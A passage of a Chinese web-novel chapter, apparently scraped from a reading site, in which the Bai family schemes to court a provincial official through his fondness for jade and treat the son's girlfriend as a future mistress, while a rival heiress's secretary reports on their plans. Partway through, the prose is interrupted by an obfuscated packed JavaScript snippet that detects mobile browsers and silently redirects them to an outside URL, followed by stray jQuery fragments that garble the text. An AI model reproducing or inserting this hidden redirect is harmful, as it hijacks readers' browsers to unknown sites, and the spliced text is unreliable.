“搞定了姓陈的就赶紧回来,你不能太久不在公司露面。上次订婚的事情已经让很多叔叔伯伯对你有意见了。”电话那头的柏父叮嘱着。
柏辰看了一眼女孩,笑着冲她摆摆手,压低声音道:“还不行,那老头死板得很,他以为我是为了求女人原谅才愿意帮我,要是我得了承诺立刻回去,他该怀疑了。”
柏父在那头点了根烟,“咔哒”的声音过去了很久,柏父才缓缓道:“也行,你既然留在那里,就好好打听,说不准有机会找到矿脉。”
“难。”柏辰言简意赅。
他已经来了有些日子,来回走了好几遍,出去老头住的那块地方几乎都搜遍了,没有任何矿脉的痕迹。而找来的专家也都说这附近基本不可能出矿。
他也想抽烟了,烟瘾上来实在不好受。柏辰难耐的搓了一下手指:“我再待上几天,你抓紧打听一下刘部长的爱好,实在不行我再让按照刘部长的生肖雕刻。”
“我会的,这件事太重要了,只要刘部长能点头,我们就有机会拿下H市的项目。”
“谢谢爸。”
“咱们父子两个,说这些做什么,”柏父很欣慰,“你这几年做的都很好,我相信柏氏在你手里一定会重现辉煌的。”
柏辰也很感动,和哄陈家祖孙开心不一样,他对自己的父亲是真心崇敬和尊重的,他赶紧回答:“我会努力的,总有一天,我会让所有人都抬头看我们!”
柏父又说了几句,忽然想起来什么:“听说你女朋友去国外了?”
“对,她的导师犟得要死,顶着压力硬是把申请的流程走完了,”柏辰说起这件事就恨得牙痒,“回国至少要明年了。”
柏父不在意这些,但既然到了这个地步,他索性叮嘱几句:“她这么爱学习,你就让她学去吧。女人嘛,不能逼得太紧,我当年就不懂这个道理,差点在小苑他妈手里吃了大亏,你也是知道的。”
柏辰当然知道他爸和柏苑母亲的那些破事,有些不屑:“珊珊不一样,她单纯又善良,从小到大没做过自己的主,出不了什么事的。”
柏父冷笑一声:“要真是这样子的话,她怎么会跑出国?”
“……”柏辰一时无言以对,想了半天道:“都是她那个老师的错!回头找个机会把他弄下来,一天天的误人子弟。”
柏父懒得理这些事:“你自己处理就好。有个喜欢的不容易。”
“谢谢爸。”柏辰很感动,父子两个也算是交心的聊了几句,直至天黑。
电话挂断,柏父身边的沙发立刻塌了一块,柏母皱着眉头,气势汹汹的质问:“你怎么不让小辰跟那个学生断了?一个农村出来的土包子,连像样的衣服都没有买过,怎么好意思往小辰身边凑的。”
她越说越看不上林敏山:“名字也土,真不知道小辰看上她什么了,你让他们早点断掉!”
柏父不耐烦的排掉她的手:“你不懂就不要乱说!农村出来的才好掌控,小辰要是喜欢,当个情人也不是不行。你老是这样,非得让孩子们听你的,也不看看自己有什么本事,才搞得两个孩子都跟你不亲!”
“况且内个叫,叫什么来着?”柏父甚至想不起来儿子处了好几年的女朋友的名字,柏母不甘不愿的回答,“林敏山,敏捷的敏,大山的山。”
“对,林敏山,她现在入了季家的眼,要是能把关系维护下去,以后小辰想把生意往南方扩张就有渠道了,你一点都不懂。”
听到这话,柏母神色几番变换,倒是平静了不少:“要是能帮上小辰还差不多……不对,就算认识了几个大小姐,她自己也摆脱不了农村户口,她绝对不能嫁给小辰!”
柏父简直要无语了:“谁告诉你小辰要娶她的?”
“小辰不是说……”
“他当然要这么说,不然怎么拒绝和秦家的婚约?”
柏母想不通:“跟秦家订婚不好吗?”
“秦家只是在T市有点本事而已,连周边的市场都闯不出去,没什么前景的,”柏父摆摆手,“联姻只是个噱头,好让秦家当我们柏家的跳板而已。小辰不愿意,他觉得秦芷这个女人不好掌控。既然这样,让小苑顶上也不是不行。”
“难怪你们之前态度那么奇怪……”柏母脑袋一团乱麻,她从来不掺和公司的事情,所以一时很难理解里面的弯弯绕绕。但她不忘最开始的话题:“所以小辰也不打算娶林敏山的对吧?”
“你怎么还是不懂,”柏父叹了口气,“这女人要是见过世面,就不老实了。所以你儿子想把人带回来。”
“但要真的劝不回来,就让她在国外升个学历,也不是坏事;等过几年再帮她找个老师,让她读个博士。”
“还读博士?”柏母差点尖叫出声,“那都得多大了?”
柏父轻描淡写:“多大不重要,情人是个留过学的博士,说出去也有面子。”
他说着,像是想起了什么,脸上也柔和了几分,喉头吞咽,将茶水一饮而尽,站起身道:“我今天晚上有事,就不回来了,你先休息吧。”
他连外套都没穿就匆匆忙忙出了大门,车灯明晃晃的划过,柏母呆呆坐在那里,嘴里念叨着:“……所以你也是去找你的面子了吗?”
“我当年也是个研究生,后来嫁给你,变成了在家里研究怎么生,你就觉得没有面子了?”
她看着桌面上的一切,呆坐了好久,忽然一伸手,“啪”!
茶杯茶壶齐齐倒在光可鉴人的大理石地板上,粉身碎骨,不分你我。
柏母拿起剩下的茶杯,一个接一个的往地上摔:“不结婚,不结婚挺好……那就当个情人吧。”
“起码不用在家,研究怎么生孩子。”
“……反正是情人还是老婆,小三还是正宫,不都是男人一句话的事情吗?”
“啪!”
“还不如自在一点……我现在算不算自在呢?”
她惶惶然抬头,水晶吊灯几乎闪瞎了她的眼睛,她只好低头,却从地面上碎片的空隙里看见了一个披头散发的、狼狈不堪的中年妇女。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559575|186537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>全是怨恨,全是疲惫。
不过十几年,居然变成了这个样子。
好像忘了人本来要怎么活。
柏母拿起最后一个茶杯,摔之前终于想起来,这是他们结婚一周年的时候,她和柏父出门旅游带回来的纪念品。就这么在桌子上无知无觉的摆了这些年。
柏母看着最后一个杯子,想了想,但是大脑一片糊涂,好像想不起来什么了。
“啪!”
躲在地下室的管家和保姆在黑暗中面面相觑,也不知道碎的是不是最后一个茶杯。
*
城市的夜空漆黑,但那些高楼大厦亮得很执着。
打工人穿梭在楼层间,值夜班的男员工看见往顶楼去的秘书,主动打招呼:“李秘书,送资料啊。”
“是啊,”秦芷的秘书笑吟吟的按下电梯楼层键,“还在加班呢?”
“马上就走。你今晚又得通宵吗?”
“看情况呗!”
李秘书心情显然很好,员工们看着她大步进入电梯,纷纷忍不住道:“加班还加得这么快乐,难怪年薪是我三倍呢。”
“对啊对啊,听说李秘书已经加了好几天班了。”
一群人都很疑惑,这是加班加出精神问题了?
他们当然不知道,秦芷为了快点上手公司的事情,连轴转了好几天,身边用得好的秘书也都跟着当牛做马——这就体现出秦芷封建主子的特性了,用起人来毫不手软,恨不得把手下一天分成四十八个小时不停歇的工作。
秘书们一开始并不是没有怨言,但很快他们就发现这位主虽然忙起来不把人当人看,但也不把钱当钱看。完全没有一点资本家的吝啬,每天都是八倍工资!
两倍翻倍再翻倍,直接八倍!
好人啊好人,李秘书五天就赚够了这个月的房贷,整个人跟打了鸡血一样,只觉得自己还能再战几昼夜。毕竟谁会跟钱过不去呢?
“您要的资料,”李秘书精神焕发的递上文件,“以及未来一周的大致安排,您看一下有没有和您日程冲突的地方。”
在李秘书看来,秦芷唯一的怪癖就是不太喜欢电子化日程和通知,所以他们不得不尽量将一切文件日程打印好送过来。
但这些都是很轻松的活,完全在可以忍受的范围之内。尤其是秦芷的态度很好,从来不会随便发火,更不会人身攻击,简直是二十四孝好老板。
李秘书想着,等到秦芷看过这些文件之后,回身关好门,小声到:“您让我查的、柏家最新竞争的项目有消息了。”
秦芷头也不抬:“说说看。”
“柏家竞争的那个项目只是常规工程,目前还没有看出什么太好的前景,只是有一点,”李秘书打开自己手机,让秦芷看一个人的头像,“这是隔壁省负责这次项目的刘部长,听说和妻子感情很好,钟爱玉石,为人还有点迷信。”
“柏家最近一直在打听这个刘部长的生辰八字、个人爱好之类,尤其是有关玉石的。”
秦芷抬起头。